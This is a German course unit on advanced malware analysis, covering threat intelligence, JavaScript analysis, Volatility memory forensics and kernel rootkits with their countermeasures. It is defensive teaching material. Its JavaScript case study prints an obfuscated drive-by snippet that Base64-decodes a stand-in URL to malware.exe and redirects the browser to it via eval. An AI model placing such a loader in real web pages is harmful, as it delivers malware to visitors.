Start / Unit 7

Digging Deeper

Vier fortgeschrittene Felder: Threat Intelligence als proaktive Ebene, JavaScript als allgegenwärtiger Angriffsvektor, Memory Forensics für Bedrohungen ohne Spuren auf der Platte — und Kernel-Rootkits als anspruchsvollster Gegner.

Lernziele dieser Unit

  • Das Konzept Threat Intelligence und seine Rolle in der Malware-Analyse erklären
  • Volatility für Incident Response und Memory Forensics einsetzen
  • JavaScript und seine Bedeutung in der Malware-Analyse verstehen
  • Kernel-Rootkits und ihre Gegenmaßnahmen beschreiben

7.1 Threat-Intelligence-Integration

Threat Intelligence (TI) sammelt Informationen über Cyberbedrohungen und nutzt sie zur Verbesserung der Verteidigung. Der Vergleich im Kursbuch: Wie eine Wettervorhersage hilft TI Organisationen, sich auf kommende Entwicklungen einzustellen — statt nur zu reagieren.

Die vier Arten von Threat Intelligence

TypFokusZielgruppeBeispiel
StrategischGroßes Bild, Trends, langfristige EntscheidungenFührungsebeneBericht über global steigende Ransomware-Bedrohung und geopolitisch getriebene Spionagekampagnen
TaktischKonkrete TTPs der AngreiferSecurity-TeamsAnalyse einer Spear-Phishing-Kampagne: Social Engineering, Credential Harvesting
OperativUnmittelbare oder laufende Angriffe, oft in EchtzeitSOC / Incident ResponseEchtzeitwarnung über einen DDoS-Angriff auf die eigene Branche inklusive Herkunft und Methoden
TechnischGranulare Indikatoren: IPs, Hashes, Domains, URLsTools und AutomatisierungEmotet-Feed mit IP-Adressen und Datei-Hashes zur Aktualisierung von Firewalls und IDS

Quellen

🌍

OSINT

Frei verfügbar: VirusTotal, MITRE ATT&CK, MalwareBazaar, AlienVault OTX. Sammeln Samples, IoCs und bekannte Angriffsmethoden.

💼

Kommerziell

Bezahldienste wie FireEye, CrowdStrike oder Recorded Future — umfassender, aktueller und mit exklusiven Daten.

🏢

Intern

Aus eigenen Vorfällen gewonnene Intelligence — besonders wertvoll für branchen- oder regionsspezifische Bedrohungen.

TI in der statischen Analyse — Fallbeispiele

WannaCry: Hash-Abgleich

Der Analyst berechnet den Hash der Datei und vergleicht ihn mit einer TI-Datenbank wie VirusTotal. Im Mai 2017 stimmte der WannaCry-Hash (d5c0caf39de29dc769204d33e76c21fc) sofort mit bereits markierten Samples überein — die Identifikation gelang in Sekunden statt über aufwendige manuelle Analyse.

Emotet: String-Analyse

Aus dem Sample extrahierte Strings verweisen auf C2-Server-Adressen. Der Abgleich mit MalwareBazaar oder AlienVault OTX bestätigt: Die Adressen gehören zu einer bekannten Emotet-Kampagne — sofortige Erkenntnisse über Funktionsweise und Kommunikationsnetz.

Mirai: Code Signature Matching

Malware verwendet oft bekannte Codeschnipsel wieder. Bei Mirai fanden Analysten Code, der systematisch verwundbare IoT-Geräte über Telnet (TCP 23, alternativ 2323) scannte — dank TI ließ sich das sofort als Mirai-Signaturverhalten einordnen. Tools wie BinDiff vergleichen Codesegmente mit bekannten Samples.

TI in der dynamischen Analyse — Fallbeispiele

Dridex: C2-Abgleich

Der Banking-Trojaner kontaktiert während der Sandbox-Ausführung externe Server. Der Abgleich der IP-Adressen mit einem TI-Feed zeigt: 143.244.140.214 war bereits Teil der Dridex-C2-Infrastruktur — Identität und Angriffsumfang bestätigt.

TrickBot: Verhalten mit ATT&CK abgleichen

Der Analyst beobachtet, wie TrickBot die Registry für Persistenz verändert. MITRE ATT&CK listet genau diese Technik als bekanntes TrickBot-Verhalten.

IDTechnikNutzung durch TrickBot
T1087.001/.003Account DiscoverySammelt Systemnutzerinfos, extrahiert E-Mail-Adressen aus Outlook
T1071.001Application Layer Protocol: Web ProtocolsHTTPS-Verbindung zu C2-Servern für Updates, Module und Konfigurationsdateien
T1547.001Boot or Logon Autostart ExecutionPersistenz über den Startup-Ordner
T1185Browser Session HijackingWeb-Injects und Umleitungen, um Zugangsdaten abzugreifen

EternalBlue: exploit-basierte Malware

Beim Reversing von WannaCry oder NotPetya zeigt sich der Versuch, die SMBv1-Schwachstelle CVE-2017-0144 zur Verbreitung auszunutzen. TI-Plattformen wie die National Vulnerability Database liefern die Details zum Exploit — damit lassen sich Verbreitungsweg und Gegenmaßnahmen bestätigen.

Domains und IP-Adressen recherchieren

Hostname zu IP auflösenshell
$ host malicious-domain.example
$ dig malicious-domain.example

# Falls nicht installiert (Ubuntu):
$ apt-get install dnsutils

Die von Malware genutzten Domains und IP-Adressen geben Aufschluss über Herkunft des Angriffs und Arbeitsweise der Täter — ein Pflichtschritt jeder gründlichen Analyse.

7.2 Analyse von JavaScript-Code

JavaScript ist wegen seiner Verbreitung, Flexibilität und Browserausführung ein beliebter Angriffsvektor.

Zustellwege

🌐

Browser-Exploits

Eingebettet in kompromittierte oder bösartige Webseiten, um Schwachstellen in Browser oder Plugins auszunutzen und beliebigen Code auszuführen.

📎

E-Mail-Anhänge

Bösartige JS-Dateien in Phishing-Mails; beim Öffnen wird meist weitere Malware nachgeladen.

⬇️

Drive-by Downloads

Malware wird ohne jede Nutzerinteraktion beim Besuch einer Seite heruntergeladen und ausgeführt.

Statische JavaScript-Analyse

Code extrahieren: im Browser über „View Source" oder „Inspect Element", per wget/curl die ganze Seite laden, oder mit Burp Suite bzw. HTTrack den Traffic samt Skripten mitschneiden.

Verdächtige Funktionen

  • eval() und setTimeout() — führen beliebigen Code aus
  • XMLHttpRequest und fetch() — Hinweis auf Datenexfiltration oder Nachladen von Payloads
  • atob() — dekodiert Base64, oft für versteckte URLs

Typische Obfuskation

  • Variable Renaming — sprechende Namen werden zu a, b, c
  • String Encoding — URLs und Befehle als Base64
  • Control Flow Obfuscation — überflüssige Schleifen, Bedingungen und Funktionsaufrufe

Werkzeuge zur Deobfuskation: JSBeautifier formatiert minifizierten Code lesbar, JSNice stellt sprechende Variablennamen wieder her. Manuell hilft es, eval() durch console.log() zu ersetzen — so wird der Inhalt sichtbar, ohne ihn auszuführen.

Fallstudie: JavaScript-basierter Drive-by Download

obfuskiertjavascript
var a = "aHR0cDovL21hbGljaW91cy5jb20vZmlsZXMvbWFsd2FyZS5leGU=";
var b = atob(a);        // dekodiert zur Malware-URL
eval("window.location.href = b;");
deobfuskiert — sicher untersuchtjavascript
var decodedURL = atob("aHR0cDovL21hbGljaW91cy5jb20vZmlsZXMvbWFsd2FyZS5leGU=");
console.log(decodedURL);
// Ausgabe: http://malicious.com/files/malware.exe
// Weiterleitung bewusst NICHT ausgeführt

Der Base64-String wird mit atob() dekodiert, eval() durch console.log() ersetzt. Ergebnis: Das Skript wollte den Browser zwingen, malware.exe herunterzuladen.

Dynamische JavaScript-Analyse

  • Browser-Entwicklertools (Chrome, Firefox): Debuggen, Inspizieren, Ausführung nachvollziehen; im Tab „Network" alle HTTP/HTTPS-Requests beobachten
  • Virtuelle Maschinen mit Snapshots für gefährlichere Samples
  • Online-Sandboxes wie JSFiddle oder JSBin für die sichere Ausführung
  • Wireshark für die tiefergehende Paketanalyse — wohin fließen die Daten, welche Server werden kontaktiert?

7.3 Memory Forensics

Memory Forensics extrahiert und analysiert forensische Artefakte aus dem RAM. Da RAM flüchtig ist und beim Ausschalten verloren geht, ist die Live-Erfassung während des Betriebs entscheidend.

Was im RAM steckt

⚙️

Laufende Prozesse

Alle aktiven Programme, Dienste und Hintergrundtasks.

📚

Geladene Module

Bibliotheken wie .dll- oder .so-Dateien.

🌐

Netzwerkaktivität

Aktive Verbindungen mit IP-Adressen, Ports und Protokollen.

👤

Sitzungsdaten

Angemeldete Nutzer und sitzungsspezifische Details.

🔑

Schlüsselmaterial

Verschlüsselungsschlüssel liegen während Ver- und Entschlüsselung temporär im Speicher.

🦠

Malware-Artefakte

Injizierter Code, Hooks, Rootkit-Komponenten — und entpackte Malware, die auf der Platte nur gepackt vorliegt.

Memory Acquisition

Werkzeuge: WinPmem, FTK Imager, DumpIt. Das Tool muss zur Architektur und RAM-Größe des Zielsystems passen — ein inkompatibles Tool kann einen Bluescreen und damit den Verlust der Beweise verursachen.

Speicherort des Dumps: Nicht auf die lokale Platte des kompromittierten Systems schreiben — das überschreibt forensische Artefakte in Slack Space und unallokierten Bereichen. Externe Datenträger sind üblich, sollten aber mit Write-Blocking geschützt werden, damit sich die Malware nicht auf das Medium ausbreitet. Netzwerkfreigaben bergen das Risiko, weitere Systeme zu infizieren — das Zielsystem daher vor der Erfassung vom Netz nehmen.
Volatility: Weit verbreitetes Framework zur Analyse von Memory-Artefakten — Prozesse, geladene Module und DLLs, Netzwerkverbindungen, Benutzersitzungen, Registry und mehr.

Volatility-Plugins in der Praxis

Netzwerkverbindungen im Memory-Dumpshell
$ python3 vol.py -f <dumpfile> windows.netscan

Die zehn Spalten der netscan-Ausgabe:

SpalteBedeutung
OffsetPosition im Speicher
ProtoVerwendetes Netzwerkprotokoll
LocalAddr / LocalPortQuelladresse und -port der Verbindung
ForeignAddr / ForeignPortZieladresse und -port
StateZustand der Verbindung: established, closed, listening
PIDProzess-ID des zugehörigen Prozesses
OwnerKonto, unter dem der Prozess läuft
CreatedZeitpunkt des Verbindungsaufbaus

Beispiel aus dem Kursbuch

Volatility fand drei Verbindungen des Prozesses smsfwder.exe zu drei verschiedenen IP-Adressen über die Ports 443 und 8080. Die Prüfung der IPs über Symantec Site Review zeigte: bekannte Malware-C2-Infrastruktur. Diese IoCs dienen anschließend dazu, weitere kompromittierte Geräte im Netz zu finden und zu isolieren.

Injizierten Code finden: malfind

Gepackte Malware entpackt sich zur Laufzeit im Speicher — teils im eigenen Prozess, teils durch Injektion in andere. Ein typisches Muster: Die Malware startet einen neuen Prozess namens explorer.exe und injiziert ihren Code dorthin, sodass alles normal aussieht.

🔓

Executable Permissions

Legitime Programme brauchen selten gleichzeitig Schreib- und Ausführungsrechte. malfind sucht nach PAGE_EXECUTE_READWRITE.

👻

Keine Datei auf der Platte

Normaler Code stammt aus Dateien. Injizierter Code hat keine Entsprechung auf der Festplatte.

🧩

Ungewöhnliches Memory-Layout

Legitime Anwendungen allozieren Speicher nach vorhersehbaren Mustern — injizierter Code bricht diese.

malfind listet betroffene Prozesse mit Speicheradressen und liefert Hexdump und Disassembly der verdächtigen Regionen.

False Positives: Nicht jede markierte Region ist bösartig. Legitime Anwendungen mit Just-in-Time-Compilation — etwa die Java Virtual Machine oder das .NET Framework — erzeugen ebenfalls ausführbaren Code im Speicher.

7.4 Rootkits verstehen und debuggen

User Mode vs. Kernel Mode

User Mode

Hier laufen normale Anwendungen wie Browser oder Textverarbeitung. Der Zugriff auf Systemressourcen ist eingeschränkt — direkte Änderungen an kritischen Systemfunktionen sind nicht möglich.

Kernel Mode

Hier arbeiten die Kernkomponenten des Betriebssystems: Speicherverwaltung, Gerätesteuerung, Dateisystem. Uneingeschränkter Zugriff auf Hardware und Systemressourcen. Wer den Kernel kontrolliert, kontrolliert das gesamte System.

Funktionsweise von Kernel-Rootkits

💉

Library Injection

Systembibliotheken wie ntoskrnl.exe werden verändert. Beispiel: Beim Auflisten von Dateien „vergisst" die manipulierte Bibliothek, bestimmte Dateien anzuzeigen.

🪝

System Call Hooking

Systemaufrufe werden abgefangen und verändert, bevor sie den Kernel erreichen. Fragt der Task-Manager die Prozessliste ab, entfernt das Rootkit den eigenen Prozess aus der Antwort.

🔌

Driver Manipulation

Treiber laufen im Kernel Mode. Manipulierte Hardwaretreiber (Tastatur, Netzwerk) fangen Daten ab; manipulierte Softwaretreiber verstecken Dateien und Prozesse.

Beispiel: Sony-DRM-Rootkit

Ein Kopierschutzsystem installierte einen Kernel-Treiber, der Prozesse und Dateien versteckte, um das Kopieren von CDs zu verhindern. Der eigentlich für DRM gedachte Treiber öffnete ungewollt eine Schwachstelle, über die Angreifer eigene Malware verstecken konnten.

Warum Rootkits so gefährlich sind: Mit Kernel-Rechten verstecken sie Prozesse, Dateien und Netzwerkverbindungen, umgehen oder deaktivieren Sicherheitsüberwachung und manipulieren das Systemverhalten auf fundamentaler Ebene. Klassische Antivirensoftware läuft im User Mode und hat kaum Sicht in den Kernel — ohne spezialisierte Forensik- oder Anti-Rootkit-Tools behält der Angreifer unbemerkt dauerhaften Zugriff.

Gegenmaßnahmen

🔄

Systeme aktuell halten

Viele Rootkits nutzen Schwachstellen in veralteten Systemen oder Treibern. Regelmäßige Patches schließen diese Einfallstore.

🛡️

Spezialisierte Security-Software

Rootkit-Scanner wie GMER (Windows) suchen nach versteckten Prozessen, Treibern und Kernel-Modifikationen. Moderne Endpoint-Lösungen (CrowdStrike, Bitdefender, Kaspersky) nutzen ML und Verhaltensanalyse.

🔐

Secure Boot

BIOS/UEFI prüft die digitalen Signaturen von OS und Kerneltreibern vor dem Laden. Unsignierte oder manipulierte Boot-Dateien verhindern den Systemstart — Rootkits können sich nicht früh einnisten.

✍️

Treiberumgebung härten

Driver Signing Enforcement, möglichst wenige Drittanbietertreiber, Integritätsprüfung mit Tools wie Verifier unter Windows.

📋

Kernel-Verhalten überwachen

Windows Event Logs und Sysmon geben tiefe Einblicke in Kernel- und Systemaktivität; unter Linux überwacht auditd Kernel-Events und Modulveränderungen.

🔍

Integritätsprüfungen

Hash-Vergleiche kritischer Systemdateien und Kernelmodule mit Werkzeugen wie Tripwire; im Unternehmen File Integrity Monitoring (FIM).

Und die Basics: Sandboxes und VMs für unbekannte Programme nutzen sowie Nutzer schulen — viele Rootkit-Infektionen beginnen mit Social Engineering, raubkopierter Software oder ungeprüften Treibern.